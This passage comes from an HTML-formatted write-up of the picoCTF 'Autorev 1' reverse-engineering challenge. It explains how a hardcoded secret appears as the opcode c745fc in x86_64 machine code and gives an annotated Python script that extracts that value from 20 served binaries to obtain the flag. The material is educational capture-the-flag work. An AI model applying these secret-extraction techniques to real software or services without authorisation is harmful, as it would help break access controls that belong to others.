    &lt;span class="c1"&gt;// The "secret" is a hardcoded 32-bit integer&lt;/span&gt;
    &lt;span class="kt"&gt;unsigned&lt;/span&gt; &lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;secret&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mh"&gt;0xb174cbbb&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="c1"&gt;// &amp;lt;-- This value changes each time&lt;/span&gt;
    &lt;span class="kt"&gt;unsigned&lt;/span&gt; &lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;guess&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

    &lt;span class="n"&gt;printf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"What's the secret?&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="n"&gt;scanf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"%u"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;guess&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;guess&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="n"&gt;secret&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="n"&gt;printf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"Correct!&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="n"&gt;printf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"Nice try :(&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  The Concept: How Does C Become Assembly?
&lt;/h4&gt;

&lt;p&gt;When the C compiler (&lt;code&gt;gcc&lt;/code&gt;) compiles &lt;code&gt;unsigned int secret = 0xb174cbbb;&lt;/code&gt;, it translates it into an x86_64 assembly instruction that stores that value onto the function's &lt;strong&gt;stack frame&lt;/strong&gt;. The specific instruction is:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;mov DWORD PTR [rbp-0x4], 0xb174cbbb
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Let's break this instruction down piece by piece, as this is the heart of the entire challenge:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Assembly Component&lt;/th&gt;
&lt;th&gt;Meaning&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;mov&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;"Move" — copy a value into a destination.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;DWORD PTR&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;The destination is a 4-byte (32-bit) memory location.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;[rbp-0x4]&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;The destination address: 4 bytes below the base pointer (&lt;code&gt;rbp&lt;/code&gt;), which is where local variable &lt;code&gt;secret&lt;/code&gt; lives on the stack.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;0xb174cbbb&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;The immediate (hardcoded) value — &lt;strong&gt;our secret!&lt;/strong&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h4&gt;
  
  
  The Concept: How Does Assembly Become Bytes (Opcodes)?
&lt;/h4&gt;

&lt;p&gt;The CPU doesn't read text like &lt;code&gt;mov DWORD PTR [rbp-0x4], ...&lt;/code&gt;. It reads &lt;strong&gt;machine code&lt;/strong&gt; — raw bytes called &lt;strong&gt;opcodes&lt;/strong&gt;. The x86_64 encoding for &lt;code&gt;mov DWORD PTR [rbp-0x4], &amp;lt;imm32&amp;gt;&lt;/code&gt; is:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight nasm"&gt;&lt;code&gt;&lt;span class="nf"&gt;c7&lt;/span&gt; &lt;span class="mi"&gt;45&lt;/span&gt; &lt;span class="nv"&gt;fc&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt;&lt;span class="nv"&gt;s&lt;/span&gt; &lt;span class="nv"&gt;of&lt;/span&gt; &lt;span class="nv"&gt;the&lt;/span&gt; &lt;span class="nv"&gt;value&lt;/span&gt; &lt;span class="nv"&gt;in&lt;/span&gt; &lt;span class="nv"&gt;Little&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nv"&gt;Endian&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Let's decode this:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Byte(s)&lt;/th&gt;
&lt;th&gt;Meaning&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;c7&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Opcode for &lt;code&gt;MOV r/m32, imm32&lt;/code&gt; (move a 32-bit immediate value into a memory location).&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;45&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;ModR/M byte: indicates the addressing mode is &lt;code&gt;[rbp + disp8]&lt;/code&gt;.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;fc&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;The signed 8-bit displacement: &lt;code&gt;0xfc&lt;/code&gt; is &lt;code&gt;-4&lt;/code&gt; in two's complement, giving us &lt;code&gt;[rbp-0x4]&lt;/code&gt;.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Next 4 bytes&lt;/td&gt;
&lt;td&gt;The 32-bit immediate value, stored in &lt;strong&gt;Little-Endian&lt;/strong&gt; byte order.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;What is Little-Endian?&lt;/strong&gt; x86 processors store multi-byte integers with the &lt;strong&gt;least significant byte first&lt;/strong&gt;. So the value &lt;code&gt;0xb174cbbb&lt;/code&gt; is stored in memory as &lt;code&gt;bb cb 74 b1&lt;/code&gt;. This is a common "gotcha" in reverse engineering — if you read the bytes left-to-right, you get the &lt;em&gt;wrong&lt;/em&gt; number. You must reverse the byte order.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h4&gt;
  
  
  Verification in the First Binary
&lt;/h4&gt;

&lt;p&gt;Let's find this pattern in the first binary's hex stream. Searching for &lt;code&gt;c745fc&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight nasm"&gt;&lt;code&gt;&lt;span class="nf"&gt;...c745fcbbcb74b1...&lt;/span&gt;
         &lt;span class="o"&gt;^^^^^^^^&lt;/span&gt;
         &lt;span class="nf"&gt;bb&lt;/span&gt; &lt;span class="nv"&gt;cb&lt;/span&gt; &lt;span class="mi"&gt;74&lt;/span&gt; &lt;span class="nv"&gt;b1&lt;/span&gt;  &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;Little&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nv"&gt;Endian&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt;&lt;span class="nv"&gt;s&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Converting &lt;code&gt;bb cb 74 b1&lt;/code&gt; from Little-Endian:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Reverse the bytes: b1 74 cb bb
Hex value: 0xb174cbbb
Decimal: 2977221563
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The server helpfully displayed &lt;code&gt;2977221563&lt;/code&gt; as the expected answer for the first binary — &lt;strong&gt;our analysis is confirmed!&lt;/strong&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  2.4 — The Road Not Taken: Why Not Use a Disassembler?
&lt;/h3&gt;

&lt;p&gt;You might be thinking: &lt;em&gt;"Why not save the binary to a file, run &lt;code&gt;objdump -d&lt;/code&gt; or load it into Ghidra?"&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;This is a perfectly valid instinct for a &lt;em&gt;single&lt;/em&gt; binary. However, here's why it fails for this challenge:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Approach&lt;/th&gt;
&lt;th&gt;Problem&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Ghidra/IDA&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;These are GUI tools. Opening, analyzing, and reading the output of 20 binaries in 20 seconds is humanly impossible.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;&lt;code&gt;objdump -d&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;This &lt;em&gt;could&lt;/em&gt; be automated, but it adds unnecessary complexity. You'd need to: (1) decode the hex to a file, (2) run &lt;code&gt;objdump&lt;/code&gt;, (3) parse the text output with regex. This is slower and more fragile than just searching the raw bytes.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Running the binary&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;You'd need to decode, save, &lt;code&gt;chmod +x&lt;/code&gt;, and then somehow brute-force or debug it. Far too slow for a 1-second window.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;The optimal path&lt;/strong&gt; — and the lesson of this challenge — is that &lt;strong&gt;pattern matching on raw bytes is the fastest, most elegant solution&lt;/strong&gt;. We don't need a full disassembler; we just need a 3-byte search key (&lt;code&gt;c745fc&lt;/code&gt;).&lt;/p&gt;




&lt;h2&gt;
  
  
  3. Initial Foothold (Exploitation)
&lt;/h2&gt;

&lt;h3&gt;
  
  
  3.1 — The Automation Strategy
&lt;/h3&gt;

&lt;p&gt;With our analysis complete, the exploitation plan is straightforward:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;┌──────────────────────────────────────────────┐
│              AUTOMATION LOOP (x20)           │
│                                              │
│  1. READ data from socket until prompt       │
│     "What's the secret?:"                    │
│                                              │
│  2. SEARCH the received data for the regex   │
│     pattern: c745fc([0-9a-f]{8})             │
│                                              │
│  3. EXTRACT the 8 hex chars (4 bytes)        │
│                                              │
│  4. CONVERT from Little-Endian hex to        │
│     unsigned 32-bit decimal integer          │
│                                              │
│  5. SEND the decimal integer + newline       │
│     back to the server                       │
│                                              │
└──────────────────────────────────────────────┘
              │
              ▼
   After 20 rounds, READ the flag
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  3.2 — The Exploit Script (Fully Annotated)
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;socket&lt;/span&gt;   &lt;span class="c1"&gt;# For raw TCP connections (like netcat, but programmable)
&lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;re&lt;/span&gt;       &lt;span class="c1"&gt;# For Regular Expressions (pattern matching in text)
&lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;struct&lt;/span&gt;   &lt;span class="c1"&gt;# For converting between Python values and C structs (byte packing)
&lt;/span&gt;
&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;solve&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
    &lt;span class="sh"&gt;"""&lt;/span&gt;&lt;span class="s"&gt;
    Connects to the Autorev 1 challenge server, automatically extracts
    the hardcoded secret from 20 binaries, and retrieves the flag.
    &lt;/span&gt;&lt;span class="sh"&gt;"""&lt;/span&gt;

    &lt;span class="c1"&gt;# --- STEP 1: Establish Connection ---
&lt;/span&gt;    &lt;span class="c1"&gt;# socket.create_connection() is like running `nc host port`.
&lt;/span&gt;    &lt;span class="c1"&gt;# It returns a socket object we can read from and write to.
&lt;/span&gt;    &lt;span class="n"&gt;host&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;mysterious-sea.picoctf.net&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;
    &lt;span class="n"&gt;port&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;57369&lt;/span&gt;
    &lt;span class="n"&gt;s&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;socket&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;create_connection&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;host&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;port&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;[*] Connected to &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;host&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;:&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;port&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="c1"&gt;# --- Helper Function: Read Until a Specific Suffix ---
&lt;/span&gt;    &lt;span class="c1"&gt;# The server sends data in chunks. We need to keep reading
&lt;/span&gt;    &lt;span class="c1"&gt;# until we see the specific prompt "What's the secret?:".
&lt;/span&gt;    &lt;span class="c1"&gt;# This ensures we've captured the ENTIRE binary hex stream
&lt;/span&gt;    &lt;span class="c1"&gt;# before we try to parse it.
&lt;/span&gt;    &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;recv_until&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;sock&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;suffix&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
        &lt;span class="sh"&gt;"""&lt;/span&gt;&lt;span class="s"&gt;Reads from the socket byte-by-byte until `suffix` is found.&lt;/span&gt;&lt;span class="sh"&gt;"""&lt;/span&gt;
        &lt;span class="n"&gt;result&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="sh"&gt;''&lt;/span&gt;  &lt;span class="c1"&gt;# Use bytes, not string, for raw socket data
&lt;/span&gt;        &lt;span class="k"&gt;while&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="n"&gt;result&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;endswith&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;suffix&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
            &lt;span class="n"&gt;chunk&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;sock&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;recv&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;  &lt;span class="c1"&gt;# Read one byte at a time (simple &amp;amp; reliable)
&lt;/span&gt;            &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="n"&gt;chunk&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
                &lt;span class="c1"&gt;# If recv returns empty bytes, the connection was closed.
&lt;/span&gt;                &lt;span class="k"&gt;raise&lt;/span&gt; &lt;span class="nc"&gt;ConnectionError&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Server closed the connection prematurely.&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
            &lt;span class="n"&gt;result&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="n"&gt;chunk&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;result&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;decode&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;  &lt;span class="c1"&gt;# Convert bytes to a Python string for regex
&lt;/span&gt;
    &lt;span class="k"&gt;try&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nf"&gt;range&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;20&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
            &lt;span class="c1"&gt;# --- STEP 2: Receive Data Until the Prompt ---
&lt;/span&gt;            &lt;span class="c1"&gt;# We read everything the server sends until we see the question.
&lt;/span&gt;            &lt;span class="c1"&gt;# This blob of text contains the hex-encoded ELF binary.
&lt;/span&gt;            &lt;span class="n"&gt;data&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;recv_until&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;What&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;s the secret?:&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

            &lt;span class="c1"&gt;# --- STEP 3: Extract the Secret Using Regex ---
&lt;/span&gt;            &lt;span class="c1"&gt;# Pattern breakdown:
&lt;/span&gt;            &lt;span class="c1"&gt;#   c745fc     - The 3 opcode bytes for `mov DWORD PTR [rbp-0x4], ...`
&lt;/span&gt;            &lt;span class="c1"&gt;#   (          - Start of a "capture group" (the part we want to extract)
&lt;/span&gt;            &lt;span class="c1"&gt;#   [0-9a-f]   - Any single hexadecimal digit (lowercase)
&lt;/span&gt;            &lt;span class="c1"&gt;#   {8}        - Exactly 8 of them (representing 4 bytes = 32 bits)
&lt;/span&gt;            &lt;span class="c1"&gt;#   )          - End of capture group
&lt;/span&gt;            &lt;span class="n"&gt;match&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;re&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;search&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;r&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;c745fc([0-9a-f]{8})&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

            &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;match&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
                &lt;span class="n"&gt;hex_val&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;match&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;group&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;  &lt;span class="c1"&gt;# e.g., "bbcb74b1"
&lt;/span&gt;
                &lt;span class="c1"&gt;# --- STEP 4: Convert Little-Endian Hex to Decimal ---
&lt;/span&gt;                &lt;span class="c1"&gt;# bytes.fromhex("bbcb74b1") -&amp;gt; b'\xbb\xcb\x74\xb1'
&lt;/span&gt;                &lt;span class="c1"&gt;# struct.unpack('&amp;lt;I', ...) unpacks as:
&lt;/span&gt;                &lt;span class="c1"&gt;#   '&amp;lt;' = Little-Endian byte order
&lt;/span&gt;                &lt;span class="c1"&gt;#   'I' = Unsigned 32-bit Integer
&lt;/span&gt;                &lt;span class="c1"&gt;# Result is a tuple, so we take the first element with [0].
&lt;/span&gt;                &lt;span class="n"&gt;raw_bytes&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;bytes&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;fromhex&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;hex_val&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
                &lt;span class="n"&gt;secret&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;struct&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;unpack&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;&amp;lt;I&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;raw_bytes&lt;/span&gt;&lt;span class="p"&gt;)[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;

                &lt;span class="c1"&gt;# --- STEP 5: Send the Answer ---
&lt;/span&gt;                &lt;span class="n"&gt;answer&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;secret&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;
                &lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;sendall&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;answer&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;encode&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;
                &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;[+] Round &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;/20: Found secret = &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;secret&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt; | Sent!&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

            &lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
                &lt;span class="c1"&gt;# If the pattern isn't found, something unexpected happened.
&lt;/span&gt;                &lt;span class="c1"&gt;# Print the data for debugging.
&lt;/span&gt;                &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;[!] Round &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;: Pattern &lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;c745fc&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt; NOT FOUND!&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
                &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;    Raw data (last 200 chars): ...&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;200&lt;/span&gt;&lt;span class="si"&gt;:&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
                &lt;span class="k"&gt;break&lt;/span&gt;  &lt;span class="c1"&gt;# Stop, because continuing would be pointless.
&lt;/span&gt;
        &lt;span class="c1"&gt;# --- STEP 6: Receive the Flag ---
&lt;/span&gt;        &lt;span class="c1"&gt;# After all 20 rounds, the server should send a congratulations
&lt;/span&gt;        &lt;span class="c1"&gt;# message containing the flag. We read generously.
&lt;/span&gt;        &lt;span class="n"&gt;final_output&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;recv&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;4096&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;decode&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
